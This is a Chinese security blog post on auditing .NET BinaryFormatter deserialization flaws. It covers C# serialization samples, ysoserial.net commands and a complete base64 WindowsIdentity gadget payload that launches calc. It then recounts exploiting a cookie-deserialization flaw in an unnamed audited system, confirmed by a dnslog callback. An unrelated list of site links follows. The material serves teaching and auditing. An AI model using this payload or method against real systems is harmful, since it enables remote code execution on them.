代码审计-.NET下的序列化与反序列化(BinaryFormatter)
前言
本文将介绍BinaryFormatter序列化与反序列化漏洞的原理以及实际应用场景中的代码审计。
之前本博客就有发表过多篇NET反序列化漏洞的文章:
JavaScriptSerializer
:https://www.websecuritys.cn/archives/136.html
Json.Net
: https://www.websecuritys.cn/archives/netxlh-1.html
JavaScriptSerializer和Json.Net要想在反序列化过程中执行命令,都需要一些特定条件。
如:
JavaScriptSerializer (需实例化SimpleTypeResolver
类)
示例代码:
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
Json.Net (需重写TypeNameHandling
,不为None)
示例代码:
Object js = JsonConvert.DeserializeObject(json,new JsonSerializerSettings
{TypeNameHandling=TypeNameHandling.All }
);
以上条件,在实际应用场景中,并不常见。
相比BinaryFormatter,就不需要这么麻烦了。
序列化的实现
序列化:
序列化是将对象状态转换为可保持或传输的形式的过程.
1.先声明一个class类。
public class testdemo
{
public string name;
public int age;
}
类中定义两个变量,name
和age
使用BinaryFormatter进行序列化
需要先引入System.Runtime.Serialization.Formatters.Binary;
使用Serialize方法来进行序列化
完整代码:
using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
testdemo ts = new testdemo();
ts.name = "yuanhai";
ts.age = 18;
BinaryFormatter fs = new BinaryFormatter();
FileStream st = new FileStream(@"D:test.dat", FileMode.Create);
fs.Serialize(st, ts);
st.Close();
Console.ReadKey();
}
}
[Serializable]
public class testdemo
{
public string name;
public int age;
}
}
转换后的数据格式如下:
反序列化的实现
反序列化:
序列化的补集是反序列化,后者将流转换为对象。这两个过程一起保证能够存储和传输数据。
BinaryFormatter提供了4个不同反序列化方法,分别是Deserialize、DeserializeMethodResponse、UnsafeDeserialize、UnsafeDeserializeMethodResponse。这里只对Deserialize进行演示。
1.将刚刚序列化过后的内容进行反序列化。
完整代码:
using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
testdemo ts = new testdemo();
ts.name = "yuanhai";
ts.age = 18;
BinaryFormatter fs = new BinaryFormatter();
FileStream st = new FileStream(@"D:test.dat", FileMode.Create);
fs.Serialize(st, ts);
st.Close();
BinaryFormatter fs1 = new BinaryFormatter();
FileStream st1 = new FileStream(@"D:test.dat", FileMode.Open);
var result = fs1.Deserialize(st1);
Console.WriteLine(((testdemo)result).name);
Console.ReadKey();
Console.ReadKey();
}
}
[Serializable]
public class testdemo
{
public string name;
public int age;
}
}
反序列化漏洞的触发:
BinaryFormatter和SoapFormatter 一样。不需要其他硬性条件。如(Json.Net需重写TypeNameHandling不为None)
因为其最终都继承了IFormatter
反序列化漏洞复现:
使用ysoserial.net 生成Payload
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o raw -c "calc" -t > D:test.dat
将Payload存储到D盘下的test.dat文件。
然后使用FileStream读取该文件的内容进行反序列化。
这里就使用base64进行转码实现。
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t
Payload:
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAArBdBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUVsVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUNFQVZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SFpXNWxjbWxqTGxOdmNuUmxaRk5sZEdBeFcxdFRlWE4wWlcwdVUzUnlhVzVuTENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUVFBQUFBRlEyOTFiblFJUTI5dGNHRnlaWElIVm1WeWMybHZiZ1ZKZEdWdGN3QURBQVlJalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBJQWdBQUFBSUFBQUFKQXdBQUFBSUFBQUFKQkFBQUFBUURBQUFBalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQWN2WXlCallXeGpCZ2NBQUFBRFkyMWtCQVVBQUFBaVUzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2dNQUFBQUlSR1ZzWldkaGRHVUhiV1YwYUc5a01BZHRaWFJvYjJReEF3TURNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVM5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ2tJQUFBQUNRa0FBQUFKQ2dBQUFBUUlBQUFBTUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVRY0FBQUFFZEhsd1pRaGhjM05sYldKc2VRWjBZWEpuWlhRU2RHRnlaMlYwVkhsd1pVRnpjMlZ0WW14NURuUmhjbWRsZEZSNWNHVk9ZVzFsQ20xbGRHaHZaRTVoYldVTlpHVnNaV2RoZEdWRmJuUnllUUVCQWdFQkFRTXdVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpdEVaV3hsWjJGMFpVVnVkSEo1QmdzQUFBQ3dBbE41YzNSbGJTNUdkVzVqWUROYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjBzVzFONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56TENCVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhWMEdEQUFBQUV0dGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09Ea0tCZzBBQUFCSlUzbHpkR1Z0TENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9RWU9BQUFBR2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56Qmc4QUFBQUZVM1JoY25RSkVBQUFBQVFKQUFBQUwxTjVjM1JsYlM1U1pXWnNaV04wYVc5dUxrMWxiV0psY2tsdVptOVRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlCd0FBQUFST1lXMWxERUZ6YzJWdFlteDVUbUZ0WlFsRGJHRnpjMDVoYldVSlUybG5ibUYwZFhKbENsTnBaMjVoZEhWeVpUSUtUV1Z0WW1WeVZIbHdaUkJIWlc1bGNtbGpRWEpuZFcxbGJuUnpBUUVCQVFFQUF3Z05VM2x6ZEdWdExsUjVjR1ZiWFFrUEFBQUFDUTBBQUFBSkRnQUFBQVlVQUFBQVBsTjVjM1JsYlM1RWFXRm5ibTl6ZEdsamN5NVFjbTlqWlhOeklGTjBZWEowS0ZONWMzUmxiUzVUZEhKcGJtY3NJRk41YzNSbGJTNVRkSEpwYm1jcEJoVUFBQUErVTNsemRHVnRMa1JwWVdkdWIzTjBhV056TGxCeWIyTmxjM01nVTNSaGNuUW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRUtBQUFBQ1FBQUFBWVdBQUFBQjBOdmJYQmhjbVVKREFBQUFBWVlBQUFBRFZONWMzUmxiUzVUZEhKcGJtY0dHUUFBQUN0SmJuUXpNaUJEYjIxd1lYSmxLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhvQUFBQXlVM2x6ZEdWdExrbHVkRE15SUVOdmJYQmhjbVVvVTNsemRHVnRMbE4wY21sdVp5d2dVM2x6ZEdWdExsTjBjbWx1WnlrSUFBQUFDZ0VRQUFBQUNBQUFBQVliQUFBQWNWTjVjM1JsYlM1RGIyMXdZWEpwYzI5dVlERmJXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjFkQ1F3QUFBQUtDUXdBQUFBSkdBQUFBQWtXQUFBQUNncz0L
测试代码:
using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
string text = "Payload";
byte[] buffer = Convert.FromBase64String(text);
Object sss = new BinaryFormatter().Deserialize(new MemoryStream(buffer, 0, buffer.Length));
Console.ReadKey();
}
}
}
实现结果:
这里虽然提示错误,但是命令可以正常执行。在WEB中,也会显示500错误。
实际场景中的代码审计:
在对某系统进行审计时,在某方法中发现BinaryFormatter().Deserialize反序列化漏洞
该处方法为GetCookie疑似获取Cookie。
在查找中,最终发现某地址调用了该方法:
其中反序列化的值为获取Cookie中的某键。
那么,可以构造Payload:
由于最终获取到的是Base64。
那么传入进来的也需要进行base64加密
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t
这里简单的测试下dnslog
像目标地址发送Payload:
得到结果,证明漏洞存在:
- Java面向对象接口的应用实例练习
- 【机器学习笔记之八】使用朴素贝叶斯进行文本的分类
- 【Java学习笔记之二十二】解析接口在Java继承中的用法及实例分析
- 扫一扫二维码就能打开网站,就能添加联系人,就能链接wifi(续)
- Java面向对象抽象类案例分析
- 【Java学习笔记之二十三】instanceof运算符的用法小结
- 基础才是重中之重~多线程的代价~我的内存都被吃了!
- 【Java学习笔记之二十八】深入了解Java8新特性
- 【Java学习笔记之二十四】对Java多态性的一点理解
- 【Java学习笔记之二十六】深入理解Java匿名内部类
- 【Java学习笔记之二十五】初步认知Java内部类
- AIM Tech Round 4 (Div. 2)(A,暴力,B,组合数,C,STL+排序)
- 【Java学习笔记之三十】详解Java单例(Singleton)模式
- 基于Windows下处理Java错误:编码GBK的不可映射字符的解决方案
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 如何有效恢复误删的HDFS文件
- 别再用OFFSET和LIMIT分页了
- 别再用大小比较时间了
- Redis快速入门
- 捉虫记:Unexpected end of JSON input while parsing
- 重新思考日志:业务系统竟然是一个大数据库?
- 测试面试题集-Linux常用命令
- 「真香警告」鱼头手摸手教你在小程序里用composition-api
- 【技术文】SSL握手中的几个密码
- 分布式监控系统SkyWalking
- 文献笔记二十九:银合欢(Leucaena trichandra)线粒体基因组
- Docker Swarm群集配置实战——第一战
- 文献笔记五十:vcf2poptree根据vcf文件构建进化树的网页工具
- typescript基础篇(6):泛型
- Flutter 初学者必读的高级布局规则